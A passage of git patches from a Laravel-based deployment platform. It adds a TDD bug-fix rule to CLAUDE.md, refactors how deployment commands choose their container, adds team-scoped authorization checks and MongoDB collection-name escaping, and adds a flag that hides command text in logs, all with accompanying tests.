+ ->first();
+
+ expect($preview)->not->toBeNull();
+ expect($preview->is_runtime)->toBeTrue();
+ expect($preview->is_buildtime)->toBeTrue();
+});
From 69ea7dfa50f431fd205b2adb18b04d41c92443f2 Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Wed, 25 Mar 2026 14:08:48 +0100
Subject: [PATCH 060/168] docs(tdd): add bug fix workflow section with TDD
requirements
Add a new "Bug Fix Workflow (TDD)" section that establishes the strict
test-driven development process for bug fixes. Clarify that every bug fix
must follow TDD: write a failing test, fix the bug, verify the test passes
without modification. Update the Key Conventions to reference this workflow.
---
CLAUDE.md | 12 +++++++++++-
1 file changed, 11 insertions(+), 1 deletion(-)
diff --git a/CLAUDE.md b/CLAUDE.md
index 8e398586b..5dc2f7eee 100644
--- a/CLAUDE.md
+++ b/CLAUDE.md
@@ -73,7 +73,7 @@ ## Key Conventions
- PHP 8.4: constructor property promotion, explicit return types, type hints
- Always create Form Request classes for validation
- Run `vendor/bin/pint --dirty --format agent` before finalizing changes
-- Every change must have tests — write or update tests, then run them
+- Every change must have tests — write or update tests, then run them. For bug fixes, follow TDD: write a failing test first, then fix the bug (see Test Enforcement below)
- Check sibling files for conventions before creating new files
## Git Workflow
@@ -231,6 +231,16 @@ # Test Enforcement
- Every change must be programmatically tested. Write a new test or update an existing test, then run the affected tests to make sure they pass.
- Run the minimum number of tests needed to ensure code quality and speed. Use `php artisan test --compact` with a specific filename or filter.
+## Bug Fix Workflow (TDD)
+
+When fixing a bug, follow this strict test-driven workflow:
+
+1. **Write a test first** that asserts the correct (expected) behavior — this test should reproduce the bug.
+2. **Run the test** and confirm it **fails**. If it passes, the test does not cover the bug — rewrite it.
+3. **Fix the bug** in the source code.
+4. **Re-run the exact same test without any modifications** and confirm it **passes**.
+5. **Never modify the test between steps 2 and 4.** The same test must go from red to green purely from the bug fix.
+
=== laravel/core rules ===
# Do Things the Laravel Way
From 811ee5d327da600614dc182cbe66d6bae266686b Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Wed, 25 Mar 2026 14:09:07 +0100
Subject: [PATCH 061/168] refactor(jobs): extract container resolution logic
for deployment commands
Extract common container selection logic into resolveCommandContainer() method
that handles both single and multi-container app scenarios. This consolidates
duplicated code from run_pre_deployment_command() and run_post_deployment_command()
while improving error messaging and test coverage.
---
app/Jobs/ApplicationDeploymentJob.php | 153 ++++++++++++------
...ploymentCommandContainerResolutionTest.php | 116 +++++++++++++
2 files changed, 217 insertions(+), 52 deletions(-)
create mode 100644 tests/Feature/DeploymentCommandContainerResolutionTest.php
diff --git a/app/Jobs/ApplicationDeploymentJob.php b/app/Jobs/ApplicationDeploymentJob.php
index 9d927d10c..c4121ba16 100644
--- a/app/Jobs/ApplicationDeploymentJob.php
+++ b/app/Jobs/ApplicationDeploymentJob.php
@@ -3989,6 +3989,51 @@ private function validateContainerName(string $value): string
return $value;
}
+ /**
+ * Resolve which container to execute a deployment command in.
+ *
+ * For single-container apps, returns the sole container.
+ * For multi-container apps, matches by the user-specified container name.
+ * If no container name is specified for multi-container apps, logs available containers and returns null.
+ */
+ private function resolveCommandContainer(Collection $containers, ?string $specifiedContainerName, string $commandType): ?array
+ {
+ if ($containers->count() === 0) {
+ return null;
+ }
+
+ if ($containers->count() === 1) {
+ return $containers->first();
+ }
+
+ // Multi-container: require a container name to be specified
+ if (empty($specifiedContainerName)) {
+ $available = $containers->map(fn ($c) => data_get($c, 'Names'))->implode(', ');
+ $this->application_deployment_queue->addLogEntry(
+ "{$commandType} command: Multiple containers found but no container name specified. Available: {$available}"
+ );
+
+ return null;
+ }
+
+ // Multi-container: match by specified name prefix
+ $prefix = $specifiedContainerName.'-'.$this->application->uuid;
+ foreach ($containers as $container) {
+ $containerName = data_get($container, 'Names');
+ if (str_starts_with($containerName, $prefix)) {
+ return $container;
+ }
+ }
+
+ // No match found — log available containers to help the user debug
+ $available = $containers->map(fn ($c) => data_get($c, 'Names'))->implode(', ');
+ $this->application_deployment_queue->addLogEntry(
+ "{$commandType} command: Container '{$specifiedContainerName}' not found. Available: {$available}"
+ );
+
+ return null;
+ }
+
private function run_pre_deployment_command()
{
if (empty($this->application->pre_deployment_command)) {
@@ -3996,36 +4041,36 @@ private function run_pre_deployment_command()
}
$containers = getCurrentApplicationContainerStatus($this->server, $this->application->id, $this->pull_request_id);
if ($containers->count() == 0) {
+ $this->application_deployment_queue->addLogEntry('Pre-deployment command: No running containers found. Skipping.');
+
return;
}
$this->application_deployment_queue->addLogEntry('Executing pre-deployment command (see debug log for output/errors).');
- foreach ($containers as $container) {
- $containerName = data_get($container, 'Names');
- if ($containerName) {
- $this->validateContainerName($containerName);
- }
- if ($containers->count() == 1 || str_starts_with($containerName, $this->application->pre_deployment_command_container.'-'.$this->application->uuid)) {
- // Security: pre_deployment_command is intentionally treated as arbitrary shell input.
- // Users (team members with deployment access) need full shell flexibility to run commands
- // like "php artisan migrate", "npm run build", etc. inside their own application containers.
- // The trust boundary is at the application/team ownership level — only authenticated team
- // members can set these commands, and execution is scoped to the application's own container.
- // The single-quote escaping here prevents breaking out of the sh -c wrapper, but does not
- // restrict the command itself. Container names are validated separately via validateContainerName().
- $cmd = "sh -c '".str_replace("'", "'\''", $this->application->pre_deployment_command)."'";
- $exec = "docker exec {$containerName} {$cmd}";
- $this->execute_remote_command(
- [
- 'command' => $exec,
- 'hidden' => true,
- ],
- );
-
- return;
- }
+ $container = $this->resolveCommandContainer($containers, $this->application->pre_deployment_command_container, 'Pre-deployment');
+ if ($container === null) {
+ throw new DeploymentException('Pre-deployment command: Could not find a valid container. Is the container name correct?');
}
- throw new DeploymentException('Pre-deployment command: Could not find a valid container. Is the container name correct?');
+
+ $containerName = data_get($container, 'Names');
+ if ($containerName) {
+ $this->validateContainerName($containerName);
+ }
+ // Security: pre_deployment_command is intentionally treated as arbitrary shell input.
+ // Users (team members with deployment access) need full shell flexibility to run commands
+ // like "php artisan migrate", "npm run build", etc. inside their own application containers.
+ // The trust boundary is at the application/team ownership level — only authenticated team
+ // members can set these commands, and execution is scoped to the application's own container.
+ // The single-quote escaping here prevents breaking out of the sh -c wrapper, but does not
+ // restrict the command itself. Container names are validated separately via validateContainerName().
+ $cmd = "sh -c '".str_replace("'", "'\''", $this->application->pre_deployment_command)."'";
+ $exec = "docker exec {$containerName} {$cmd}";
+ $this->execute_remote_command(
+ [
+ 'command' => $exec,
+ 'hidden' => true,
+ ],
+ );
}
private function run_post_deployment_command()
@@ -4037,36 +4082,40 @@ private function run_post_deployment_command()
$this->application_deployment_queue->addLogEntry('Executing post-deployment command (see debug log for output).');
$containers = getCurrentApplicationContainerStatus($this->server, $this->application->id, $this->pull_request_id);
- foreach ($containers as $container) {
- $containerName = data_get($container, 'Names');
- if ($containerName) {
- $this->validateContainerName($containerName);
- }
- if ($containers->count() == 1 || str_starts_with($containerName, $this->application->post_deployment_command_container.'-'.$this->application->uuid)) {
- // Security: post_deployment_command is intentionally treated as arbitrary shell input.
- // See the equivalent comment in run_pre_deployment_command() for the full security rationale.
- $cmd = "sh -c '".str_replace("'", "'\''", $this->application->post_deployment_command)."'";
- $exec = "docker exec {$containerName} {$cmd}";
- try {
- $this->execute_remote_command(
- [
- 'command' => $exec,
- 'hidden' => true,
- 'save' => 'post-deployment-command-output',
- ],
- );
- } catch (Exception $e) {
- $post_deployment_command_output = $this->saved_outputs->get('post-deployment-command-output');
- if ($post_deployment_command_output) {
- $this->application_deployment_queue->addLogEntry('Post-deployment command failed.');
- $this->application_deployment_queue->addLogEntry($post_deployment_command_output, 'stderr');
- }
- }
+ if ($containers->count() == 0) {
+ $this->application_deployment_queue->addLogEntry('Post-deployment command: No running containers found. Skipping.');
- return;
+ return;
+ }
+
+ $container = $this->resolveCommandContainer($containers, $this->application->post_deployment_command_container, 'Post-deployment');
+ if ($container === null) {
+ throw new DeploymentException('Post-deployment command: Could not find a valid container. Is the container name correct?');
+ }
+
+ $containerName = data_get($container, 'Names');
+ if ($containerName) {
+ $this->validateContainerName($containerName);
+ }
+ // Security: post_deployment_command is intentionally treated as arbitrary shell input.
+ // See the equivalent comment in run_pre_deployment_command() for the full security rationale.
+ $cmd = "sh -c '".str_replace("'", "'\''", $this->application->post_deployment_command)."'";
+ $exec = "docker exec {$containerName} {$cmd}";
+ try {
+ $this->execute_remote_command(
+ [
+ 'command' => $exec,
+ 'hidden' => true,
+ 'save' => 'post-deployment-command-output',
+ ],
+ );
+ } catch (Exception $e) {
+ $post_deployment_command_output = $this->saved_outputs->get('post-deployment-command-output');
+ if ($post_deployment_command_output) {
+ $this->application_deployment_queue->addLogEntry('Post-deployment command failed.');
+ $this->application_deployment_queue->addLogEntry($post_deployment_command_output, 'stderr');
}
}
- throw new DeploymentException('Post-deployment command: Could not find a valid container. Is the container name correct?');
}
/**
diff --git a/tests/Feature/DeploymentCommandContainerResolutionTest.php b/tests/Feature/DeploymentCommandContainerResolutionTest.php
new file mode 100644
index 000000000..c8c9cf1fc
--- /dev/null
+++ b/tests/Feature/DeploymentCommandContainerResolutionTest.php
@@ -0,0 +1,116 @@
+newInstanceWithoutConstructor();
+
+ $app = Mockery::mock(Application::class)->makePartial();
+ $app->uuid = $uuid;
+
+ $queue = Mockery::mock(ApplicationDeploymentQueue::class)->makePartial();
+ $queue->shouldReceive('addLogEntry')->andReturnNull();
+
+ $appProp = $ref->getProperty('application');
+ $appProp->setAccessible(true);
+ $appProp->setValue($instance, $app);
+
+ $queueProp = $ref->getProperty('application_deployment_queue');
+ $queueProp->setAccessible(true);
+ $queueProp->setValue($instance, $queue);
+
+ return $instance;
+}
+
+function invokeResolve(object $instance, $containers, ?string $specifiedName, string $type): ?array
+{
+ $ref = new ReflectionClass(ApplicationDeploymentJob::class);
+ $method = $ref->getMethod('resolveCommandContainer');
+ $method->setAccessible(true);
+
+ return $method->invoke($instance, $containers, $specifiedName, $type);
+}
+
+describe('resolveCommandContainer', function () {
+ test('returns null when no containers exist', function () {
+ $instance = createJobWithProperties('abc123');
+ $result = invokeResolve($instance, collect([]), 'web', 'Pre-deployment');
+
+ expect($result)->toBeNull();
+ });
+
+ test('returns the sole container when only one exists', function () {
+ $container = ['Names' => 'web-abc123', 'Labels' => ''];
+ $instance = createJobWithProperties('abc123');
+ $result = invokeResolve($instance, collect([$container]), null, 'Pre-deployment');
+
+ expect($result)->toBe($container);
+ });
+
+ test('returns the sole container regardless of specified name when only one exists', function () {
+ $container = ['Names' => 'web-abc123', 'Labels' => ''];
+ $instance = createJobWithProperties('abc123');
+ $result = invokeResolve($instance, collect([$container]), 'wrong-name', 'Pre-deployment');
+
+ expect($result)->toBe($container);
+ });
+
+ test('returns null when no container name specified for multi-container app', function () {
+ $containers = collect([
+ ['Names' => 'web-abc123', 'Labels' => ''],
+ ['Names' => 'worker-abc123', 'Labels' => ''],
+ ]);
+ $instance = createJobWithProperties('abc123');
+ $result = invokeResolve($instance, $containers, null, 'Pre-deployment');
+
+ expect($result)->toBeNull();
+ });
+
+ test('returns null when empty string container name for multi-container app', function () {
+ $containers = collect([
+ ['Names' => 'web-abc123', 'Labels' => ''],
+ ['Names' => 'worker-abc123', 'Labels' => ''],
+ ]);
+ $instance = createJobWithProperties('abc123');
+ $result = invokeResolve($instance, $containers, '', 'Pre-deployment');
+
+ expect($result)->toBeNull();
+ });
+
+ test('matches correct container by specified name in multi-container app', function () {
+ $containers = collect([
+ ['Names' => 'web-abc123', 'Labels' => ''],
+ ['Names' => 'worker-abc123', 'Labels' => ''],
+ ]);
+ $instance = createJobWithProperties('abc123');
+ $result = invokeResolve($instance, $containers, 'worker', 'Pre-deployment');
+
+ expect($result)->toBe(['Names' => 'worker-abc123', 'Labels' => '']);
+ });
+
+ test('returns null when specified container name does not match any container', function () {
+ $containers = collect([
+ ['Names' => 'web-abc123', 'Labels' => ''],
+ ['Names' => 'worker-abc123', 'Labels' => ''],
+ ]);
+ $instance = createJobWithProperties('abc123');
+ $result = invokeResolve($instance, $containers, 'nonexistent', 'Pre-deployment');
+
+ expect($result)->toBeNull();
+ });
+
+ test('matches container with PR suffix', function () {
+ $containers = collect([
+ ['Names' => 'web-abc123-pr-42', 'Labels' => ''],
+ ['Names' => 'worker-abc123-pr-42', 'Labels' => ''],
+ ]);
+ $instance = createJobWithProperties('abc123');
+ $result = invokeResolve($instance, $containers, 'web', 'Pre-deployment');
+
+ expect($result)->toBe(['Names' => 'web-abc123-pr-42', 'Labels' => '']);
+ });
+});
From a94517f452e225046e01c08385d6a7aedf085c7d Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Wed, 25 Mar 2026 16:20:53 +0100
Subject: [PATCH 062/168] fix(api): validate server ownership in domains
endpoint and scope activity lookups
- Add team-scoped server validation to domains_by_server API endpoint
- Filter applications and services to only those on the requested server
- Scope ActivityMonitor activity lookups to the current team
- Fix query param disambiguation (query vs route param) in domains endpoint
- Fix undefined $ip variable in services domain collection
Co-Authored-By: Claude Opus 4.6
---
.../Controllers/Api/ServersController.php | 21 ++++--
app/Livewire/ActivityMonitor.php | 13 +++-
.../Feature/ActivityMonitorCrossTeamTest.php | 67 +++++++++++++++++++
tests/Feature/DomainsByServerApiTest.php | 49 +++++++++++++-
4 files changed, 140 insertions(+), 10 deletions(-)
create mode 100644 tests/Feature/ActivityMonitorCrossTeamTest.php
diff --git a/app/Http/Controllers/Api/ServersController.php b/app/Http/Controllers/Api/ServersController.php
index da94521a8..2ef95ce8b 100644
--- a/app/Http/Controllers/Api/ServersController.php
+++ b/app/Http/Controllers/Api/ServersController.php
@@ -290,7 +290,11 @@ public function domains_by_server(Request $request)
if (is_null($teamId)) {
return invalidTokenResponse();
}
- $uuid = $request->get('uuid');
+ $server = ModelsServer::whereTeamId($teamId)->whereUuid($request->uuid)->first();
+ if (is_null($server)) {
+ return response()->json(['message' => 'Server not found.'], 404);
+ }
+ $uuid = $request->query('uuid');
if ($uuid) {
$application = Application::ownedByCurrentTeamAPI($teamId)->where('uuid', $uuid)->first();
if (! $application) {
@@ -301,7 +305,9 @@ public function domains_by_server(Request $request)
}
$projects = Project::where('team_id', $teamId)->get();
$domains = collect();
- $applications = $projects->pluck('applications')->flatten();
+ $applications = $projects->pluck('applications')->flatten()->filter(function ($application) use ($server) {
+ return $application->destination?->server?->id === $server->id;
+ });
$settings = instanceSettings();
if ($applications->count() > 0) {
foreach ($applications as $application) {
@@ -341,7 +347,9 @@ public function domains_by_server(Request $request)
}
}
}
- $services = $projects->pluck('services')->flatten();
+ $services = $projects->pluck('services')->flatten()->filter(function ($service) use ($server) {
+ return $service->server_id === $server->id;
+ });
if ($services->count() > 0) {
foreach ($services as $service) {
$service_applications = $service->applications;
@@ -354,7 +362,8 @@ public function domains_by_server(Request $request)
})->filter(function (Stringable $fqdn) {
return $fqdn->isNotEmpty();
});
- if ($ip === 'host.docker.internal') {
+ $serviceIp = $server->ip;
+ if ($serviceIp === 'host.docker.internal') {
if ($settings->public_ipv4) {
$domains->push([
'domain' => $fqdn,
@@ -370,13 +379,13 @@ public function domains_by_server(Request $request)
if (! $settings->public_ipv4 && ! $settings->public_ipv6) {
$domains->push([
'domain' => $fqdn,
- 'ip' => $ip,
+ 'ip' => $serviceIp,
]);
}
} else {
$domains->push([
'domain' => $fqdn,
- 'ip' => $ip,
+ 'ip' => $serviceIp,
]);
}
}
diff --git a/app/Livewire/ActivityMonitor.php b/app/Livewire/ActivityMonitor.php
index 370ff1eaa..85ba60c33 100644
--- a/app/Livewire/ActivityMonitor.php
+++ b/app/Livewire/ActivityMonitor.php
@@ -55,7 +55,18 @@ public function hydrateActivity()
return;
}
- $this->activity = Activity::find($this->activityId);
+ $activity = Activity::find($this->activityId);
+
+ if ($activity) {
+ $teamId = data_get($activity, 'properties.team_id');
+ if ($teamId && $teamId !== currentTeam()?->id) {
+ $this->activity = null;
+
+ return;
+ }
+ }
+
+ $this->activity = $activity;
}
public function updatedActivityId($value)
diff --git a/tests/Feature/ActivityMonitorCrossTeamTest.php b/tests/Feature/ActivityMonitorCrossTeamTest.php
new file mode 100644
index 000000000..7e4aebc2f
--- /dev/null
+++ b/tests/Feature/ActivityMonitorCrossTeamTest.php
@@ -0,0 +1,67 @@
+team = Team::factory()->create();
+ $this->user = User::factory()->create();
+ $this->team->members()->attach($this->user->id, ['role' => 'owner']);
+
+ $this->otherTeam = Team::factory()->create();
+});
+
+test('hydrateActivity blocks access to another teams activity', function () {
+ $otherActivity = Activity::create([
+ 'log_name' => 'default',
+ 'description' => 'test activity',
+ 'properties' => ['team_id' => $this->otherTeam->id],
+ ]);
+
+ $this->actingAs($this->user);
+ session(['currentTeam' => ['id' => $this->team->id]]);
+
+ $component = Livewire::test(ActivityMonitor::class)
+ ->set('activityId', $otherActivity->id)
+ ->assertSet('activity', null);
+});
+
+test('hydrateActivity allows access to own teams activity', function () {
+ $ownActivity = Activity::create([
+ 'log_name' => 'default',
+ 'description' => 'test activity',
+ 'properties' => ['team_id' => $this->team->id],
+ ]);
+
+ $this->actingAs($this->user);
+ session(['currentTeam' => ['id' => $this->team->id]]);
+
+ $component = Livewire::test(ActivityMonitor::class)
+ ->set('activityId', $ownActivity->id);
+
+ expect($component->get('activity'))->not->toBeNull();
+ expect($component->get('activity')->id)->toBe($ownActivity->id);
+});
+
+test('hydrateActivity allows access to activity without team_id in properties', function () {
+ $legacyActivity = Activity::create([
+ 'log_name' => 'default',
+ 'description' => 'legacy activity',
+ 'properties' => [],
+ ]);
+
+ $this->actingAs($this->user);
+ session(['currentTeam' => ['id' => $this->team->id]]);
+
+ $component = Livewire::test(ActivityMonitor::class)
+ ->set('activityId', $legacyActivity->id);
+
+ expect($component->get('activity'))->not->toBeNull();
+ expect($component->get('activity')->id)->toBe($legacyActivity->id);
+});
diff --git a/tests/Feature/DomainsByServerApiTest.php b/tests/Feature/DomainsByServerApiTest.php
index 1e799bec5..ea799275b 100644
--- a/tests/Feature/DomainsByServerApiTest.php
+++ b/tests/Feature/DomainsByServerApiTest.php
@@ -16,11 +16,12 @@
$this->user = User::factory()->create();
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
- $this->token = $this->user->createToken('test-token', ['*'], $this->team->id);
+ session(['currentTeam' => $this->team]);
+ $this->token = $this->user->createToken('test-token', ['*']);
$this->bearerToken = $this->token->plainTextToken;
$this->server = Server::factory()->create(['team_id' => $this->team->id]);
- $this->destination = StandaloneDocker::factory()->create(['server_id' => $this->server->id]);
+ $this->destination = StandaloneDocker::where('server_id', $this->server->id)->first();
$this->project = Project::factory()->create(['team_id' => $this->team->id]);
$this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
});
@@ -53,7 +54,7 @@ function authHeaders(): array
$otherTeam->members()->attach($otherUser->id, ['role' => 'owner']);
$otherServer = Server::factory()->create(['team_id' => $otherTeam->id]);
- $otherDestination = StandaloneDocker::factory()->create(['server_id' => $otherServer->id]);
+ $otherDestination = StandaloneDocker::where('server_id', $otherServer->id)->first();
$otherProject = Project::factory()->create(['team_id' => $otherTeam->id]);
$otherEnvironment = Environment::factory()->create(['project_id' => $otherProject->id]);
@@ -78,3 +79,45 @@ function authHeaders(): array
$response->assertNotFound();
$response->assertJson(['message' => 'Application not found.']);
});
+
+test('returns 404 when server uuid belongs to another team', function () {
+ $otherTeam = Team::factory()->create();
+ $otherUser = User::factory()->create();
+ $otherTeam->members()->attach($otherUser->id, ['role' => 'owner']);
+
+ $otherServer = Server::factory()->create(['team_id' => $otherTeam->id]);
+
+ $response = $this->withHeaders(authHeaders())
+ ->getJson("/api/v1/servers/{$otherServer->uuid}/domains");
+
+ $response->assertNotFound();
+ $response->assertJson(['message' => 'Server not found.']);
+});
+
+test('only returns domains for applications on the specified server', function () {
+ $application = Application::factory()->create([
+ 'fqdn' => 'https://app-on-server.example.com',
+ 'environment_id' => $this->environment->id,
+ 'destination_id' => $this->destination->id,
+ 'destination_type' => $this->destination->getMorphClass(),
+ ]);
+
+ $otherServer = Server::factory()->create(['team_id' => $this->team->id]);
+ $otherDestination = StandaloneDocker::where('server_id', $otherServer->id)->first();
+
+ $applicationOnOtherServer = Application::factory()->create([
+ 'fqdn' => 'https://app-on-other-server.example.com',
+ 'environment_id' => $this->environment->id,
+ 'destination_id' => $otherDestination->id,
+ 'destination_type' => $otherDestination->getMorphClass(),
+ ]);
+
+ $response = $this->withHeaders(authHeaders())
+ ->getJson("/api/v1/servers/{$this->server->uuid}/domains");
+
+ $response->assertOk();
+ $responseContent = $response->json();
+ $allDomains = collect($responseContent)->pluck('domains')->flatten()->toArray();
+ expect($allDomains)->toContain('app-on-server.example.com');
+ expect($allDomains)->not->toContain('app-on-other-server.example.com');
+});
From 333cc9589ddc988eb5bdd28dad99e16b81d330c4 Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Wed, 25 Mar 2026 16:48:49 +0100
Subject: [PATCH 063/168] feat(deployment): add command_hidden flag to hide
command text in logs
Add support for hiding sensitive command text while preserving output logs.
When command_hidden is true, the command text is set to null in the main log
entry but logged separately to the deployment queue with proper redaction.
- Add command_hidden parameter to execute_remote_command and executeCommandWithProcess
- When enabled, separates command visibility from output visibility
- Fix operator precedence in type ternary expression
---
app/Jobs/ApplicationDeploymentJob.php | 12 ++++++------
app/Traits/ExecuteRemoteCommand.php | 15 ++++++++++-----
2 files changed, 16 insertions(+), 11 deletions(-)
diff --git a/app/Jobs/ApplicationDeploymentJob.php b/app/Jobs/ApplicationDeploymentJob.php
index 2af380a45..b39ab4f68 100644
--- a/app/Jobs/ApplicationDeploymentJob.php
+++ b/app/Jobs/ApplicationDeploymentJob.php
@@ -783,7 +783,7 @@ private function deploy_docker_compose_buildpack()
try {
$this->execute_remote_command(
- [executeInDocker($this->deployment_uuid, "cd {$this->workdir} && {$start_command}"), 'hidden' => true],
+ [executeInDocker($this->deployment_uuid, "cd {$this->workdir} && {$start_command}"), 'hidden' => false, 'type' => 'stdout', 'command_hidden' => true],
);
} catch (\RuntimeException $e) {
if (str_contains($e->getMessage(), "matching `'") || str_contains($e->getMessage(), 'unexpected EOF')) {
@@ -801,7 +801,7 @@ private function deploy_docker_compose_buildpack()
$command .= " --env-file {$server_workdir}/.env";
$command .= " --project-directory {$server_workdir} -f {$server_workdir}{$this->docker_compose_location} up -d";
$this->execute_remote_command(
- ['command' => $command, 'hidden' => true],
+ ['command' => $command, 'hidden' => false, 'type' => 'stdout', 'command_hidden' => true],
);
}
} else {
@@ -818,11 +818,11 @@ private function deploy_docker_compose_buildpack()
$this->write_deployment_configurations();
if ($this->preserveRepository) {
$this->execute_remote_command(
- ['command' => "cd {$server_workdir} && {$start_command}", 'hidden' => true],
+ ['command' => "cd {$server_workdir} && {$start_command}", 'hidden' => false, 'type' => 'stdout', 'command_hidden' => true],
);
} else {
$this->execute_remote_command(
- [executeInDocker($this->deployment_uuid, "cd {$this->basedir} && {$start_command}"), 'hidden' => true],
+ [executeInDocker($this->deployment_uuid, "cd {$this->basedir} && {$start_command}"), 'hidden' => false, 'type' => 'stdout', 'command_hidden' => true],
);
}
} else {
@@ -834,14 +834,14 @@ private function deploy_docker_compose_buildpack()
$this->write_deployment_configurations();
$this->execute_remote_command(
- ['command' => $command, 'hidden' => true],
+ ['command' => $command, 'hidden' => false, 'type' => 'stdout', 'command_hidden' => true],
);
} else {
// Always use .env file
$command .= " --env-file {$this->workdir}/.env";
$command .= " --project-name {$this->application->uuid} --project-directory {$this->workdir} -f {$this->workdir}{$this->docker_compose_location} up -d";
$this->execute_remote_command(
- [executeInDocker($this->deployment_uuid, $command), 'hidden' => true],
+ [executeInDocker($this->deployment_uuid, $command), 'hidden' => false, 'type' => 'stdout', 'command_hidden' => true],
);
$this->write_deployment_configurations();
}
diff --git a/app/Traits/ExecuteRemoteCommand.php b/app/Traits/ExecuteRemoteCommand.php
index 72e0adde8..bb252148a 100644
--- a/app/Traits/ExecuteRemoteCommand.php
+++ b/app/Traits/ExecuteRemoteCommand.php
@@ -78,6 +78,7 @@ public function execute_remote_command(...$commands)
$customType = data_get($single_command, 'type');
$ignore_errors = data_get($single_command, 'ignore_errors', false);
$append = data_get($single_command, 'append', true);
+ $command_hidden = data_get($single_command, 'command_hidden', false);
$this->save = data_get($single_command, 'save');
if ($this->server->isNonRoot()) {
if (str($command)->startsWith('docker exec')) {
@@ -102,7 +103,7 @@ public function execute_remote_command(...$commands)
while ($attempt < $maxRetries && ! $commandExecuted) {
try {
- $this->executeCommandWithProcess($command, $hidden, $customType, $append, $ignore_errors);
+ $this->executeCommandWithProcess($command, $hidden, $customType, $append, $ignore_errors, $command_hidden);
$commandExecuted = true;
} catch (\RuntimeException|DeploymentException $e) {
$lastError = $e;
@@ -152,10 +153,14 @@ public function execute_remote_command(...$commands)
/**
* Execute the actual command with process handling
*/
- private function executeCommandWithProcess($command, $hidden, $customType, $append, $ignore_errors)
+ private function executeCommandWithProcess($command, $hidden, $customType, $append, $ignore_errors, $command_hidden = false)
{
+ if ($command_hidden && isset($this->application_deployment_queue)) {
+ $this->application_deployment_queue->addLogEntry('[CMD]: '.$this->redact_sensitive_info($command), hidden: true);
+ }
+
$remote_command = SshMultiplexingHelper::generateSshCommand($this->server, $command);
- $process = Process::timeout(config('constants.ssh.command_timeout'))->idleTimeout(3600)->start($remote_command, function (string $type, string $output) use ($command, $hidden, $customType, $append) {
+ $process = Process::timeout(config('constants.ssh.command_timeout'))->idleTimeout(3600)->start($remote_command, function (string $type, string $output) use ($command, $hidden, $customType, $append, $command_hidden) {
$output = str($output)->trim();
if ($output->startsWith('╔')) {
$output = "\n".$output;
@@ -165,9 +170,9 @@ private function executeCommandWithProcess($command, $hidden, $customType, $appe
$sanitized_output = sanitize_utf8_text($output);
$new_log_entry = [
- 'command' => $this->redact_sensitive_info($command),
+ 'command' => $command_hidden ? null : $this->redact_sensitive_info($command),
'output' => $this->redact_sensitive_info($sanitized_output),
- 'type' => $customType ?? $type === 'err' ? 'stderr' : 'stdout',
+ 'type' => $customType ?? ($type === 'err' ? 'stderr' : 'stdout'),
'timestamp' => Carbon::now('UTC'),
'hidden' => $hidden,
'batch' => static::$batch_counter,
From 99043600ee881fd8581185e7590604d9882382cd Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Wed, 25 Mar 2026 16:52:06 +0100
Subject: [PATCH 064/168] fix(backup): validate MongoDB collection names in
backup input
Add validateDatabasesBackupInput() helper that properly parses all
database backup formats including MongoDB's "db:col1,col2|db2:col3"
and validates each component individually.
- Validate and escape collection names in DatabaseBackupJob
- Replace comma-only split in BackupEdit with format-aware validation
- Add input validation in API create_backup and update_backup endpoints
- Add unit tests for collection name and multi-format validation
Co-Authored-By: Claude Opus 4.6
---
.../Controllers/Api/DatabasesController.php | 24 ++++++++
app/Jobs/DatabaseBackupJob.php | 12 +++-
app/Livewire/Project/Database/BackupEdit.php | 16 +----
bootstrap/helpers/shared.php | 53 ++++++++++++++++
tests/Unit/DatabaseBackupSecurityTest.php | 61 +++++++++++++++++++
5 files changed, 150 insertions(+), 16 deletions(-)
diff --git a/app/Http/Controllers/Api/DatabasesController.php b/app/Http/Controllers/Api/DatabasesController.php
index 700055fcc..44b66e57e 100644
--- a/app/Http/Controllers/Api/DatabasesController.php
+++ b/app/Http/Controllers/Api/DatabasesController.php
@@ -792,6 +792,18 @@ public function create_backup(Request $request)
}
}
+ // Validate databases_to_backup input
+ if (! empty($backupData['databases_to_backup'])) {
+ try {
+ validateDatabasesBackupInput($backupData['databases_to_backup']);
+ } catch (\Exception $e) {
+ return response()->json([
+ 'message' => 'Validation failed.',
+ 'errors' => ['databases_to_backup' => [$e->getMessage()]],
+ ], 422);
+ }
+ }
+
// Add required fields
$backupData['database_id'] = $database->id;
$backupData['database_type'] = $database->getMorphClass();
@@ -997,6 +1009,18 @@ public function update_backup(Request $request)
unset($backupData['s3_storage_uuid']);
}
+ // Validate databases_to_backup input
+ if (! empty($backupData['databases_to_backup'])) {
+ try {
+ validateDatabasesBackupInput($backupData['databases_to_backup']);
+ } catch (\Exception $e) {
+ return response()->json([
+ 'message' => 'Validation failed.',
+ 'errors' => ['databases_to_backup' => [$e->getMessage()]],
+ ], 422);
+ }
+ }
+
$backupConfig->update($backupData);
if ($request->backup_now) {
diff --git a/app/Jobs/DatabaseBackupJob.php b/app/Jobs/DatabaseBackupJob.php
index 041d31bad..d86986fad 100644
--- a/app/Jobs/DatabaseBackupJob.php
+++ b/app/Jobs/DatabaseBackupJob.php
@@ -524,10 +524,18 @@ private function backup_standalone_mongodb(string $databaseWithCollections): voi
$commands[] = "docker exec $this->container_name mongodump --authenticationDatabase=admin --uri=\"$url\" --db $escapedDatabaseName --gzip --archive > $this->backup_location";
}
} else {
+ // Validate and escape each collection name
+ $escapedCollections = $collectionsToExclude->map(function ($collection) {
+ $collection = trim($collection);
+ validateShellSafePath($collection, 'collection name');
+
+ return escapeshellarg($collection);
+ });
+
if (str($this->database->image)->startsWith('mongo:4')) {
- $commands[] = "docker exec $this->container_name mongodump --uri=$url --gzip --excludeCollection ".$collectionsToExclude->implode(' --excludeCollection ')." --archive > $this->backup_location";
+ $commands[] = "docker exec $this->container_name mongodump --uri=$url --gzip --excludeCollection ".$escapedCollections->implode(' --excludeCollection ')." --archive > $this->backup_location";
} else {
- $commands[] = "docker exec $this->container_name mongodump --authenticationDatabase=admin --uri=\"$url\" --db $escapedDatabaseName --gzip --excludeCollection ".$collectionsToExclude->implode(' --excludeCollection ')." --archive > $this->backup_location";
